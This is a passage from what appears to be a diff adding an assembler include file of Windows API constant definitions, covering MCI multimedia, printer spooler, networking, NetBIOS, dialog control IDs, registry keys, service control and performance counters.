MCI_STATUS_NUMBER_OF_TRACKS 3h +%define MCI_STATUS_MODE 4h +%define MCI_STATUS_MEDIA_PRESENT 5h +%define MCI_STATUS_TIME_FORMAT 6h +%define MCI_STATUS_READY 7h +%define MCI_STATUS_CURRENT_TRACK 8h +%define MCI_INFO_PRODUCT 100h +%define MCI_INFO_FILE 200h +%define MCI_GETDEVCAPS_ITEM 100h +%define MCI_GETDEVCAPS_CAN_RECORD 1h +%define MCI_GETDEVCAPS_HAS_AUDIO 2h +%define MCI_GETDEVCAPS_HAS_VIDEO 3h +%define MCI_GETDEVCAPS_DEVICE_TYPE 4h +%define MCI_GETDEVCAPS_USES_FILES 5h +%define MCI_GETDEVCAPS_COMPOUND_DEVICE 6h +%define MCI_GETDEVCAPS_CAN_EJECT 7h +%define MCI_GETDEVCAPS_CAN_PLAY 8h +%define MCI_GETDEVCAPS_CAN_SAVE 9h +%define MCI_SYSINFO_QUANTITY 100h +%define MCI_SYSINFO_OPEN 200h +%define MCI_SYSINFO_NAME 400h +%define MCI_SYSINFO_INSTALLNAME 800h +%define MCI_SET_DOOR_OPEN 100h +%define MCI_SET_DOOR_CLOSED 200h +%define MCI_SET_TIME_FORMAT 400h +%define MCI_SET_AUDIO 800h +%define MCI_SET_VIDEO 1000h +%define MCI_SET_ON 2000h +%define MCI_SET_OFF 4000h +%define MCI_SET_AUDIO_ALL 4001h +%define MCI_SET_AUDIO_LEFT 4002h +%define MCI_SET_AUDIO_RIGHT 4003h +%define MCI_BREAK_KEY 100h +%define MCI_BREAK_HWND 200h +%define MCI_BREAK_OFF 400h +%define MCI_RECORD_INSERT 100h +%define MCI_RECORD_OVERWRITE 200h +%define MCI_SOUND_NAME 100h +%define MCI_SAVE_FILE 100h +%define MCI_LOAD_FILE 100h +%define MCI_VD_MODE_PARK MCI_VD_OFFSET+1 +%define MCI_VD_MEDIA_CLV MCI_VD_OFFSET+2 +%define MCI_VD_MEDIA_CAV MCI_VD_OFFSET+3 +%define MCI_VD_MEDIA_OTHER MCI_VD_OFFSET+4 +%define MCI_VD_FORMAT_TRACK 4001h +%define MCI_VD_PLAY_REVERSE 10000h +%define MCI_VD_PLAY_FAST 20000h +%define MCI_VD_PLAY_SPEED 40000h +%define MCI_VD_PLAY_SCAN 80000h +%define MCI_VD_PLAY_SLOW 100000h +%define MCI_VD_SEEK_REVERSE 10000h +%define MCI_VD_STATUS_SPEED 4002h +%define MCI_VD_STATUS_FORWARD 4003h +%define MCI_VD_STATUS_MEDIA_TYPE 4004h +%define MCI_VD_STATUS_SIDE 4005h +%define MCI_VD_STATUS_DISC_SIZE 4006h +%define MCI_VD_GETDEVCAPS_CLV 10000h +%define MCI_VD_GETDEVCAPS_CAV 20000h +%define MCI_VD_SPIN_UP 10000h +%define MCI_VD_SPIN_DOWN 20000h +%define MCI_VD_GETDEVCAPS_CAN_REVERSE 4002h +%define MCI_VD_GETDEVCAPS_FAST_RATE 4003h +%define MCI_VD_GETDEVCAPS_SLOW_RATE 4004h +%define MCI_VD_GETDEVCAPS_NORMAL_RATE 4005h +%define MCI_VD_STEP_FRAMES 10000h +%define MCI_VD_STEP_REVERSE 20000h +%define MCI_VD_ESCAPE_STRING 100h +%define MCI_WAVE_PCM MCI_WAVE_OFFSET+0 +%define MCI_WAVE_MAPPER MCI_WAVE_OFFSET+1 +%define MCI_WAVE_OPEN_BUFFER 10000h +%define MCI_WAVE_SET_FORMATTAG 10000h +%define MCI_WAVE_SET_CHANNELS 20000h +%define MCI_WAVE_SET_SAMPLESPERSEC 40000h +%define MCI_WAVE_SET_AVGBYTESPERSEC 80000h +%define MCI_WAVE_SET_BLOCKALIGN 100000h +%define MCI_WAVE_SET_BITSPERSAMPLE 200000h +%define MCI_WAVE_INPUT 400000h +%define MCI_WAVE_OUTPUT 800000h +%define MCI_WAVE_STATUS_FORMATTAG 4001h +%define MCI_WAVE_STATUS_CHANNELS 4002h +%define MCI_WAVE_STATUS_SAMPLESPERSEC 4003h +%define MCI_WAVE_STATUS_AVGBYTESPERSEC 4004h +%define MCI_WAVE_STATUS_BLOCKALIGN 4005h +%define MCI_WAVE_STATUS_BITSPERSAMPLE 4006h +%define MCI_WAVE_STATUS_LEVEL 4007h +%define MCI_WAVE_SET_ANYINPUT 4000000h +%define MCI_WAVE_SET_ANYOUTPUT 8000000h +%define MCI_WAVE_GETDEVCAPS_INPUTS 4001h +%define MCI_WAVE_GETDEVCAPS_OUTPUTS 4002h +%define MCI_SEQ_DIV_PPQN 0+MCI_SEQ_OFFSET +%define MCI_SEQ_DIV_SMPTE_24 1+MCI_SEQ_OFFSET +%define MCI_SEQ_DIV_SMPTE_25 2+MCI_SEQ_OFFSET +%define MCI_SEQ_DIV_SMPTE_30DROP 3+MCI_SEQ_OFFSET +%define MCI_SEQ_DIV_SMPTE_30 4+MCI_SEQ_OFFSET +%define MCI_SEQ_FORMAT_SONGPTR 4001h +%define MCI_SEQ_FILE 4002h +%define MCI_SEQ_MIDI 4003h +%define MCI_SEQ_SMPTE 4004h +%define MCI_SEQ_NONE 65533 +%define MCI_SEQ_MAPPER 65535 +%define MCI_SEQ_STATUS_TEMPO 4002h +%define MCI_SEQ_STATUS_PORT 4003h +%define MCI_SEQ_STATUS_SLAVE 4007h +%define MCI_SEQ_STATUS_MASTER 4008h +%define MCI_SEQ_STATUS_OFFSET 4009h +%define MCI_SEQ_STATUS_DIVTYPE 400Ah +%define MCI_SEQ_SET_TEMPO 10000h +%define MCI_SEQ_SET_PORT 20000h +%define MCI_SEQ_SET_SLAVE 40000h +%define MCI_SEQ_SET_MASTER 80000h +%define MCI_SEQ_SET_OFFSET 1000000h +%define MCI_ANIM_OPEN_WS 10000h +%define MCI_ANIM_OPEN_PARENT 20000h +%define MCI_ANIM_OPEN_NOSTATIC 40000h +%define MCI_ANIM_PLAY_SPEED 10000h +%define MCI_ANIM_PLAY_REVERSE 20000h +%define MCI_ANIM_PLAY_FAST 40000h +%define MCI_ANIM_PLAY_SLOW 80000h +%define MCI_ANIM_PLAY_SCAN 100000h +%define MCI_ANIM_STEP_REVERSE 10000h +%define MCI_ANIM_STEP_FRAMES 20000h +%define MCI_ANIM_STATUS_SPEED 4001h +%define MCI_ANIM_STATUS_FORWARD 4002h +%define MCI_ANIM_STATUS_HWND 4003h +%define MCI_ANIM_STATUS_HPAL 4004h +%define MCI_ANIM_STATUS_STRETCH 4005h +%define MCI_ANIM_INFO_TEXT 10000h +%define MCI_ANIM_GETDEVCAPS_CAN_REVERSE 4001h +%define MCI_ANIM_GETDEVCAPS_FAST_RATE 4002h +%define MCI_ANIM_GETDEVCAPS_SLOW_RATE 4003h +%define MCI_ANIM_GETDEVCAPS_NORMAL_RATE 4004h +%define MCI_ANIM_GETDEVCAPS_PALETTES 4006h +%define MCI_ANIM_GETDEVCAPS_CAN_STRETCH 4007h +%define MCI_ANIM_GETDEVCAPS_MAX_WINDOWS 4008h +%define MCI_ANIM_REALIZE_NORM 10000h +%define MCI_ANIM_REALIZE_BKGD 20000h +%define MCI_ANIM_WINDOW_HWND 10000h +%define MCI_ANIM_WINDOW_STATE 40000h +%define MCI_ANIM_WINDOW_TEXT 80000h +%define MCI_ANIM_WINDOW_ENABLE_STRETCH 100000h +%define MCI_ANIM_WINDOW_DISABLE_STRETCH 200000h +%define MCI_ANIM_WINDOW_DEFAULT 0h +%define MCI_ANIM_RECT 10000h +%define MCI_ANIM_PUT_SOURCE 20000h +%define MCI_ANIM_PUT_DESTINATION 40000h +%define MCI_ANIM_WHERE_SOURCE 20000h +%define MCI_ANIM_WHERE_DESTINATION 40000h +%define MCI_ANIM_UPDATE_HDC 20000h +%define MCI_OVLY_OPEN_WS 10000h +%define MCI_OVLY_OPEN_PARENT 20000h +%define MCI_OVLY_STATUS_HWND 4001h +%define MCI_OVLY_STATUS_STRETCH 4002h +%define MCI_OVLY_INFO_TEXT 10000h +%define MCI_OVLY_GETDEVCAPS_CAN_STRETCH 4001h +%define MCI_OVLY_GETDEVCAPS_CAN_FREEZE 4002h +%define MCI_OVLY_GETDEVCAPS_MAX_WINDOWS 4003h +%define MCI_OVLY_WINDOW_HWND 10000h +%define MCI_OVLY_WINDOW_STATE 40000h +%define MCI_OVLY_WINDOW_TEXT 80000h +%define MCI_OVLY_WINDOW_ENABLE_STRETCH 100000h +%define MCI_OVLY_WINDOW_DISABLE_STRETCH 200000h +%define MCI_OVLY_WINDOW_DEFAULT 0h +%define MCI_OVLY_RECT 10000h +%define MCI_OVLY_PUT_SOURCE 20000h +%define MCI_OVLY_PUT_DESTINATION 40000h +%define MCI_OVLY_PUT_FRAME 80000h +%define MCI_OVLY_PUT_VIDEO 100000h +%define MCI_OVLY_WHERE_SOURCE 20000h +%define MCI_OVLY_WHERE_DESTINATION 40000h +%define MCI_OVLY_WHERE_FRAME 80000h +%define MCI_OVLY_WHERE_VIDEO 100000h +%define CAPS1 94 +%define C1_TRANSPARENT 1h +%define NEWTRANSPARENT 3 +%define QUERYROPSUPPORT 40 +%define SELECTDIB 41 +%define SE_ERR_SHARE 26 +%define SE_ERR_ASSOCINCOMPLETE 27 +%define SE_ERR_DDETIMEOUT 28 +%define SE_ERR_DDEFAIL 29 +%define SE_ERR_DDEBUSY 30 +%define SE_ERR_NOASSOC 31 +%define PRINTER_CONTROL_PAUSE 1 +%define PRINTER_CONTROL_RESUME 2 +%define PRINTER_CONTROL_PURGE 3 +%define PRINTER_STATUS_PAUSED 1h +%define PRINTER_STATUS_ERROR 2h +%define PRINTER_STATUS_PENDING_DELETION 4h +%define PRINTER_STATUS_PAPER_JAM 8h +%define PRINTER_STATUS_PAPER_OUT 10h +%define PRINTER_STATUS_MANUAL_FEED 20h +%define PRINTER_STATUS_PAPER_PROBLEM 40h +%define PRINTER_STATUS_OFFLINE 80h +%define PRINTER_STATUS_IO_ACTIVE 100h +%define PRINTER_STATUS_BUSY 200h +%define PRINTER_STATUS_PRINTING 400h +%define PRINTER_STATUS_OUTPUT_BIN_FULL 800h +%define PRINTER_STATUS_NOT_AVAILABLE 1000h +%define PRINTER_STATUS_WAITING 2000h +%define PRINTER_STATUS_PROCESSING 4000h +%define PRINTER_STATUS_INITIALIZING 8000h +%define PRINTER_STATUS_WARMING_UP 10000h +%define PRINTER_STATUS_TONER_LOW 20000h +%define PRINTER_STATUS_NO_TONER 40000h +%define PRINTER_STATUS_PAGE_PUNT 80000h +%define PRINTER_STATUS_USER_INTERVENTION 100000h +%define PRINTER_STATUS_OUT_OF_MEMORY 200000h +%define PRINTER_STATUS_DOOR_OPEN 400000h +%define PRINTER_ATTRIBUTE_QUEUED 1h +%define PRINTER_ATTRIBUTE_DIRECT 2h +%define PRINTER_ATTRIBUTE_DEFAULT 4h +%define PRINTER_ATTRIBUTE_SHARED 8h +%define PRINTER_ATTRIBUTE_NETWORK 10h +%define PRINTER_ATTRIBUTE_HIDDEN 20h +%define PRINTER_ATTRIBUTE_LOCAL 40h +%define NO_PRIORITY 0 +%define MAX_PRIORITY 99 +%define MIN_PRIORITY 1 +%define DEF_PRIORITY 1 +%define JOB_CONTROL_PAUSE 1 +%define JOB_CONTROL_RESUME 2 +%define JOB_CONTROL_CANCEL 3 +%define JOB_CONTROL_RESTART 4 +%define JOB_STATUS_PAUSED 1h +%define JOB_STATUS_ERROR 2h +%define JOB_STATUS_DELETING 4h +%define JOB_STATUS_SPOOLING 8h +%define JOB_STATUS_PRINTING 10h +%define JOB_STATUS_OFFLINE 20h +%define JOB_STATUS_PAPEROUT 40h +%define JOB_STATUS_PRINTED 80h +%define JOB_POSITION_UNSPECIFIED 0 +%define FORM_BUILTIN 1h +%define PRINTER_CONTROL_SET_STATUS 4 +%define PRINTER_ATTRIBUTE_WORK_OFFLINE 400h +%define PRINTER_ATTRIBUTE_ENABLE_BIDI 800h +%define JOB_CONTROL_DELETE 5 +%define JOB_STATUS_USER_INTERVENTION 10000h +%define DI_CHANNEL 1 +%define DI_READ_SPOOL_JOB 3 +%define PORT_TYPE_WRITE 1h +%define PORT_TYPE_READ 2h +%define PORT_TYPE_REDIRECTED 4h +%define PORT_TYPE_NET_ATTACHED 8h +%define PRINTER_ENUM_DEFAULT 1h +%define PRINTER_ENUM_LOCAL 2h +%define PRINTER_ENUM_CONNECTIONS 4h +%define PRINTER_ENUM_FAVORITE 4h +%define PRINTER_ENUM_NAME 8h +%define PRINTER_ENUM_REMOTE 10h +%define PRINTER_ENUM_SHARED 20h +%define PRINTER_ENUM_NETWORK 40h +%define PRINTER_ENUM_EXPAND 4000h +%define PRINTER_ENUM_CONTAINER 8000h +%define PRINTER_ENUM_ICONMASK 0FF0000h +%define PRINTER_ENUM_ICON1 10000h +%define PRINTER_ENUM_ICON2 20000h +%define PRINTER_ENUM_ICON3 40000h +%define PRINTER_ENUM_ICON4 80000h +%define PRINTER_ENUM_ICON5 100000h +%define PRINTER_ENUM_ICON6 200000h +%define PRINTER_ENUM_ICON7 400000h +%define PRINTER_ENUM_ICON8 800000h +%define PRINTER_CHANGE_ADD_PRINTER 1h +%define PRINTER_CHANGE_SET_PRINTER 2h +%define PRINTER_CHANGE_DELETE_PRINTER 4h +%define PRINTER_CHANGE_PRINTER 0FFh +%define PRINTER_CHANGE_ADD_JOB 100h +%define PRINTER_CHANGE_SET_JOB 200h +%define PRINTER_CHANGE_DELETE_JOB 400h +%define PRINTER_CHANGE_WRITE_JOB 800h +%define PRINTER_CHANGE_JOB 0FF00h +%define PRINTER_CHANGE_ADD_FORM 10000h +%define PRINTER_CHANGE_SET_FORM 20000h +%define PRINTER_CHANGE_DELETE_FORM 40000h +%define PRINTER_CHANGE_FORM 70000h +%define PRINTER_CHANGE_ADD_PORT 100000h +%define PRINTER_CHANGE_CONFIGURE_PORT 200000h +%define PRINTER_CHANGE_DELETE_PORT 400000h +%define PRINTER_CHANGE_PORT 700000h +%define PRINTER_CHANGE_ADD_PRINT_PROCESSOR 1000000h +%define PRINTER_CHANGE_DELETE_PRINT_PROCESSOR 4000000h +%define PRINTER_CHANGE_PRINT_PROCESSOR 7000000h +%define PRINTER_CHANGE_ADD_PRINTER_DRIVER 10000000h +%define PRINTER_CHANGE_DELETE_PRINTER_DRIVER 40000000h +%define PRINTER_CHANGE_PRINTER_DRIVER 70000000h +%define PRINTER_CHANGE_TIMEOUT 80000000h +%define PRINTER_CHANGE_ALL 7777FFFFh +%define PRINTER_ERROR_INFORMATION 80000000h +%define PRINTER_ERROR_WARNING 40000000h +%define PRINTER_ERROR_SEVERE 20000000h +%define PRINTER_ERROR_OUTOFPAPER 1h +%define PRINTER_ERROR_JAM 2h +%define PRINTER_ERROR_OUTOFTONER 4h +%define SERVER_ACCESS_ADMINISTER 1h +%define SERVER_ACCESS_ENUMERATE 2h +%define PRINTER_ACCESS_ADMINISTER 4h +%define PRINTER_ACCESS_USE 8h +%define JOB_ACCESS_ADMINISTER 10h +%define SERVER_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SERVER_ACCESS_ADMINISTER|SERVER_ACCESS_ENUMERATE +%define SERVER_READ STANDARD_RIGHTS_READ|SERVER_ACCESS_ENUMERATE +%define SERVER_WRITE STANDARD_RIGHTS_WRITE|SERVER_ACCESS_ADMINISTER|SERVER_ACCESS_ENUMERATE +%define SERVER_EXECUTE STANDARD_RIGHTS_EXECUTE|SERVER_ACCESS_ENUMERATE +%define PRINTER_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|PRINTER_ACCESS_ADMINISTER|PRINTER_ACCESS_USE +%define PRINTER_READ STANDARD_RIGHTS_READ|PRINTER_ACCESS_USE +%define PRINTER_WRITE STANDARD_RIGHTS_WRITE|PRINTER_ACCESS_USE +%define PRINTER_EXECUTE STANDARD_RIGHTS_EXECUTE|PRINTER_ACCESS_USE +%define JOB_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|JOB_ACCESS_ADMINISTER +%define JOB_READ STANDARD_RIGHTS_READ|JOB_ACCESS_ADMINISTER +%define JOB_WRITE STANDARD_RIGHTS_WRITE|JOB_ACCESS_ADMINISTER +%define JOB_EXECUTE STANDARD_RIGHTS_EXECUTE|JOB_ACCESS_ADMINISTER +%define RESOURCE_CONNECTED 1h +%define RESOURCE_PUBLICNET 2h +%define RESOURCE_GLOBALNET 2h +%define RESOURCE_REMEMBERED 3h +%define RESOURCE_RECENT 4h +%define RESOURCE_CONTEXT 5h +%define RESOURCETYPE_ANY 0h +%define RESOURCETYPE_DISK 1h +%define RESOURCETYPE_PRINT 2h +%define RESOURCETYPE_UNKNOWN 0FFFFh +%define RESOURCEUSAGE_CONNECTABLE 1h +%define RESOURCEUSAGE_CONTAINER 2h +%define RESOURCEUSAGE_RESERVED 80000000h +%define RESOURCEDISPLAYTYPE_GENERIC 0h +%define RESOURCEDISPLAYTYPE_DOMAIN 1h +%define RESOURCEDISPLAYTYPE_SERVER 2h +%define RESOURCEDISPLAYTYPE_SHARE 3h +%define RESOURCEDISPLAYTYPE_FILE 4h +%define RESOURCEDISPLAYTYPE_GROUP 5h +%define CONNECT_UPDATE_PROFILE 1h +%define WN_SUCCESS NO_ERROR +%define WN_NOT_SUPPORTED ERROR_NOT_SUPPORTED +%define WN_NET_ERROR ERROR_UNEXP_NET_ERR +%define WN_MORE_DATA ERROR_MORE_DATA +%define WN_BAD_POINTER ERROR_INVALID_ADDRESS +%define WN_BAD_VALUE ERROR_INVALID_PARAMETER +%define WN_BAD_PASSWORD ERROR_INVALID_PASSWORD +%define WN_ACCESS_DENIED ERROR_ACCESS_DENIED +%define WN_FUNCTION_BUSY ERROR_BUSY +%define WN_WINDOWS_ERROR ERROR_UNEXP_NET_ERR +%define WN_BAD_USER ERROR_BAD_USERNAME +%define WN_OUT_OF_MEMORY ERROR_NOT_ENOUGH_MEMORY +%define WN_NO_NETWORK ERROR_NO_NETWORK +%define WN_EXTENDED_ERROR ERROR_EXTENDED_ERROR +%define WN_NOT_CONNECTED ERROR_NOT_CONNECTED +%define WN_OPEN_FILES ERROR_OPEN_FILES +%define WN_DEVICE_IN_USE ERROR_DEVICE_IN_USE +%define WN_BAD_NETNAME ERROR_BAD_NET_NAME +%define WN_BAD_LOCALNAME ERROR_BAD_DEVICE +%define WN_ALREADY_CONNECTED ERROR_ALREADY_ASSIGNED +%define WN_DEVICE_ERROR ERROR_GEN_FAILURE +%define WN_CONNECTION_CLOSED ERROR_CONNECTION_UNAVAIL +%define WN_NO_NET_OR_BAD_PATH ERROR_NO_NET_OR_BAD_PATH +%define WN_BAD_PROVIDER ERROR_BAD_PROVIDER +%define WN_CANNOT_OPEN_PROFILE ERROR_CANNOT_OPEN_PROFILE +%define WN_BAD_PROFILE ERROR_BAD_PROFILE +%define WN_BAD_HANDLE ERROR_INVALID_HANDLE +%define WN_NO_MORE_ENTRIES ERROR_NO_MORE_ITEMS +%define WN_NOT_CONTAINER ERROR_NOT_CONTAINER +%define WN_NO_ERROR NO_ERROR +%define NCBNAMSZ 16 +%define MAX_LANA 254 +%define NAME_FLAGS_MASK 87h +%define GROUP_NAME 80h +%define UNIQUE_NAME 0h +%define REGISTERING 0h +%define REGISTERED 4h +%define DEREGISTERED 5h +%define DUPLICATE 6h +%define DUPLICATE_DEREG 7h +%define LISTEN_OUTSTANDING 1h +%define CALL_PENDING 2h +%define SESSION_ESTABLISHED 3h +%define HANGUP_PENDING 4h +%define HANGUP_COMPLETE 5h +%define SESSION_ABORTED 6h +%define NCBCALL 10h +%define NCBLISTEN 11h +%define NCBHANGUP 12h +%define NCBSEND 14h +%define NCBRECV 15h +%define NCBRECVANY 16h +%define NCBCHAINSEND 17h +%define NCBDGSEND 20h +%define NCBDGRECV 21h +%define NCBDGSENDBC 22h +%define NCBDGRECVBC 23h +%define NCBADDNAME 30h +%define NCBDELNAME 31h +%define NCBRESET 32h +%define NCBASTAT 33h +%define NCBSSTAT 34h +%define NCBCANCEL 35h +%define NCBADDGRNAME 36h +%define NCBENUM 37h +%define NCBUNLINK 70h +%define NCBSENDNA 71h +%define NCBCHAINSENDNA 72h +%define NCBLANSTALERT 73h +%define NCBACTION 77h +%define NCBFINDNAME 78h +%define NCBTRACE 79h +%define ASYNCH 80h +%define NRC_GOODRET 0h +%define NRC_BUFLEN 1h +%define NRC_ILLCMD 3h +%define NRC_CMDTMO 5h +%define NRC_INCOMP 6h +%define NRC_BADDR 7h +%define NRC_SNUMOUT 8h +%define NRC_NORES 9h +%define NRC_SCLOSED 0Ah +%define NRC_CMDCAN 0Bh +%define NRC_DUPNAME 0Dh +%define NRC_NAMTFUL 0Eh +%define NRC_ACTSES 0Fh +%define NRC_LOCTFUL 11h +%define NRC_REMTFUL 12h +%define NRC_ILLNN 13h +%define NRC_NOCALL 14h +%define NRC_NOWILD 15h +%define NRC_INUSE 16h +%define NRC_NAMERR 17h +%define NRC_SABORT 18h +%define NRC_NAMCONF 19h +%define NRC_IFBUSY 21h +%define NRC_TOOMANY 22h +%define NRC_BRIDGE 23h +%define NRC_CANOCCR 24h +%define NRC_CANCEL 26h +%define NRC_DUPENV 30h +%define NRC_ENVNOTDEF 34h +%define NRC_OSRESNOTAV 35h +%define NRC_MAXAPPS 36h +%define NRC_NOSAPS 37h +%define NRC_NORESOURCES 38h +%define NRC_INVADDRESS 39h +%define NRC_INVDDID 3Bh +%define NRC_LOCKFAIL 3Ch +%define NRC_OPENERR 3Fh +%define NRC_SYSTEM 40h +%define NRC_PENDING 0FFh +%define EXCEPTION_EXECUTE_HANDLER 1 +%define EXCEPTION_CONTINUE_SEARCH 0 +%define EXCEPTION_CONTINUE_EXECUTION -1 +%define ctlFirst 400h +%define ctlLast 4FFh +%define psh1 400h +%define psh2 401h +%define psh3 402h +%define psh4 403h +%define psh5 404h +%define psh6 405h +%define psh7 406h +%define psh8 407h +%define psh9 408h +%define psh10 409h +%define psh11 40Ah +%define psh12 40Bh +%define psh13 40Ch +%define psh14 40Dh +%define psh15 40Eh +%define pshHelp psh15 +%define psh16 40Fh +%define chx1 410h +%define chx2 411h +%define chx3 412h +%define chx4 413h +%define chx5 414h +%define chx6 415h +%define chx7 416h +%define chx8 417h +%define chx9 418h +%define chx10 419h +%define chx11 41Ah +%define chx12 41Bh +%define chx13 41Ch +%define chx14 41Dh +%define chx15 41Eh +%define chx16 41Dh +%define rad1 420h +%define rad2 421h +%define rad3 422h +%define rad4 423h +%define rad5 424h +%define rad6 425h +%define rad7 426h +%define rad8 427h +%define rad9 428h +%define rad10 429h +%define rad11 42Ah +%define rad12 42Bh +%define rad13 42Ch +%define rad14 42Dh +%define rad15 42Eh +%define rad16 42Fh +%define grp1 430h +%define grp2 431h +%define grp3 432h +%define grp4 433h +%define frm1 434h +%define frm2 435h +%define frm3 436h +%define frm4 437h +%define rct1 438h +%define rct2 439h +%define rct3 43Ah +%define rct4 43Bh +%define ico1 43Ch +%define ico2 43Dh +%define ico3 43Eh +%define ico4 43Fh +%define stc1 440h +%define stc2 441h +%define stc3 442h +%define stc4 443h +%define stc5 444h +%define stc6 445h +%define stc7 446h +%define stc8 447h +%define stc9 448h +%define stc10 449h +%define stc11 44Ah +%define stc12 44Bh +%define stc13 44Ch +%define stc14 44Dh +%define stc15 44Eh +%define stc16 44Fh +%define stc17 450h +%define stc18 451h +%define stc19 452h +%define stc20 453h +%define stc21 454h +%define stc22 455h +%define stc23 456h +%define stc24 457h +%define stc25 458h +%define stc26 459h +%define stc27 45Ah +%define stc28 45Bh +%define stc29 45Ch +%define stc30 45Dh +%define stc31 45Eh +%define stc32 45Fh +%define lst1 460h +%define lst2 461h +%define lst3 462h +%define lst4 463h +%define lst5 464h +%define lst6 465h +%define lst7 466h +%define lst8 467h +%define lst9 468h +%define lst10 469h +%define lst11 46Ah +%define lst12 46Bh +%define lst13 46Ch +%define lst14 46Dh +%define lst15 46Eh +%define lst16 46Fh +%define cmb1 470h +%define cmb2 471h +%define cmb3 472h +%define cmb4 473h +%define cmb5 474h +%define cmb6 475h +%define cmb7 476h +%define cmb8 477h +%define cmb9 478h +%define cmb10 479h +%define cmb11 47Ah +%define cmb12 47Bh +%define cmb13 47Ch +%define cmb14 47Dh +%define cmb15 47Eh +%define cmb16 47Fh +%define edt1 480h +%define edt2 481h +%define edt3 482h +%define edt4 483h +%define edt5 484h +%define edt6 485h +%define edt7 486h +%define edt8 487h +%define edt9 488h +%define edt10 489h +%define edt11 48Ah +%define edt12 48Bh +%define edt13 48Ch +%define edt14 48Dh +%define edt15 48Eh +%define edt16 48Fh +%define scr1 490h +%define scr2 491h +%define scr3 492h +%define scr4 493h +%define scr5 494h +%define scr6 495h +%define scr7 496h +%define scr8 497h +%define FILEOPENORD 1536 +%define MULTIFILEOPENORD 1537 +%define PRINTDLGORD 1538 +%define PRNSETUPDLGORD 1539 +%define FINDDLGORD 1540 +%define REPLACEDLGORD 1541 +%define FONTDLGORD 1542 +%define FORMATDLGORD31 1543 +%define FORMATDLGORD30 1544 +%define HKEY_CLASSES_ROOT 80000000h +%define HKEY_CURRENT_USER 80000001h +%define HKEY_LOCAL_MACHINE 80000002h +%define HKEY_USERS 80000003h +%define HKEY_PERFORMANCE_DATA 80000004h +%define HKEY_CURRENT_CONFIG 80000005h +%define HKEY_DYN_DATA 80000006h +%define SERVICE_NO_CHANGE 0FFFFh +%define SERVICE_ACTIVE 1h +%define SERVICE_INACTIVE 2h +%define SERVICE_STATE_ALL SERVICE_ACTIVE|SERVICE_INACTIVE +%define SERVICE_CONTROL_STOP 1h +%define SERVICE_CONTROL_PAUSE 2h +%define SERVICE_CONTROL_CONTINUE 3h +%define SERVICE_CONTROL_INTERROGATE 4h +%define SERVICE_CONTROL_SHUTDOWN 5h +%define SERVICE_STOPPED 1h +%define SERVICE_START_PENDING 2h +%define SERVICE_STOP_PENDING 3h +%define SERVICE_RUNNING 4h +%define SERVICE_CONTINUE_PENDING 5h +%define SERVICE_PAUSE_PENDING 6h +%define SERVICE_PAUSED 7h +%define SERVICE_ACCEPT_STOP 1h +%define SERVICE_ACCEPT_PAUSE_CONTINUE 2h +%define SERVICE_ACCEPT_SHUTDOWN 4h +%define SC_MANAGER_CONNECT 1h +%define SC_MANAGER_CREATE_SERVICE 2h +%define SC_MANAGER_ENUMERATE_SERVICE 4h +%define SC_MANAGER_LOCK 8h +%define SC_MANAGER_QUERY_LOCK_STATUS 10h +%define SC_MANAGER_MODIFY_BOOT_CONFIG 20h +%define SC_MANAGER_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SC_MANAGER_CONNECT|SC_MANAGER_CREATE_SERVICE|SC_MANAGER_ENUMERATE_SERVICE|SC_MANAGER_LOCK +%define SERVICE_QUERY_CONFIG 1h +%define SERVICE_CHANGE_CONFIG 2h +%define SERVICE_QUERY_STATUS 4h +%define SERVICE_ENUMERATE_DEPENDENTS 8h +%define SERVICE_START 10h +%define SERVICE_STOP 20h +%define SERVICE_PAUSE_CONTINUE 40h +%define SERVICE_INTERROGATE 80h +%define SERVICE_USER_DEFINED_CONTROL 100h +%define SERVICE_ALL_ACCESS STANDARD_RIGHTS_REQUIRED|SERVICE_QUERY_CONFIG|SERVICE_CHANGE_CONFIG|SERVICE_QUERY_STATUS +%define PERF_DATA_VERSION 1 +%define PERF_DATA_REVISION 1 +%define PERF_NO_INSTANCES -1 +%define PERF_SIZE_DWORD 0h +%define PERF_SIZE_LARGE 100h +%define PERF_SIZE_ZERO 200h +%define PERF_SIZE_VARIABLE_LEN 300h +%define PERF_TYPE_NUMBER 0h +%define PERF_TYPE_COUNTER 400h +%define PERF_TYPE_TEXT 800h +%define PERF_TYPE_ZERO 0C00h +%define PERF_NUMBER_HEX 0h +%define PERF_NUMBER_DECIMAL 10000h +%define PERF_NUMBER_DEC_1000 20000h +%define PERF_COUNTER_VALUE 0h +%define PERF_COUNTER_RATE 10000h +%define PERF_COUNTER_FRACTION 20000h +%define PERF_COUNTER_BASE 30000h +%define PERF_COUNTER_ELAPSED 40000h +%define PERF_COUNTER_QUEUELEN 50000h +%define PERF_COUNTER_HISTOGRAM 60000h +%define PERF_TEXT_UNICODE 0h +%define PERF_TEXT_ASCII 10000h +%define PERF_TIMER_TICK 0h +%define PERF_TIMER_100NS 100000h +%define PERF_OBJECT_TIMER 200000h +%define PERF_DELTA_COUNTER 400000h +%define PERF_DELTA_BASE 800000h +%define PERF_INVERSE_COUNTER 1000000h +%define PERF_MULTI_COUNTER 2000000h +%define PERF_DISPLAY_NO_SUFFIX 0h +%define PERF_DISPLAY_PER_SEC 10000000h +%define PERF_DISPLAY_PERCENT 20000000h +%define PERF_DISPLAY_SECONDS 30000000h +%define PERF_DISPLAY_NOSHOW 40000000h +%define PERF_COUNTER_COUNTER PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC +%define PERF_COUNTER_TIMER PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT +%define PERF_COUNTER_QUEUELEN_TYPE PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_QUEUELEN|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_NO_SUFFIX +%define PERF_COUNTER_BULK_COUNT PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_TICK|PERF_DELTA_COUNTER|PERF_DISPLAY_PER_SEC +%define PERF_COUNTER_TEXT PERF_SIZE_VARIABLE_LEN|PERF_TYPE_TEXT|PERF_TEXT_UNICODE|PERF_DISPLAY_NO_SUFFIX +%define PERF_COUNTER_RAWCOUNT 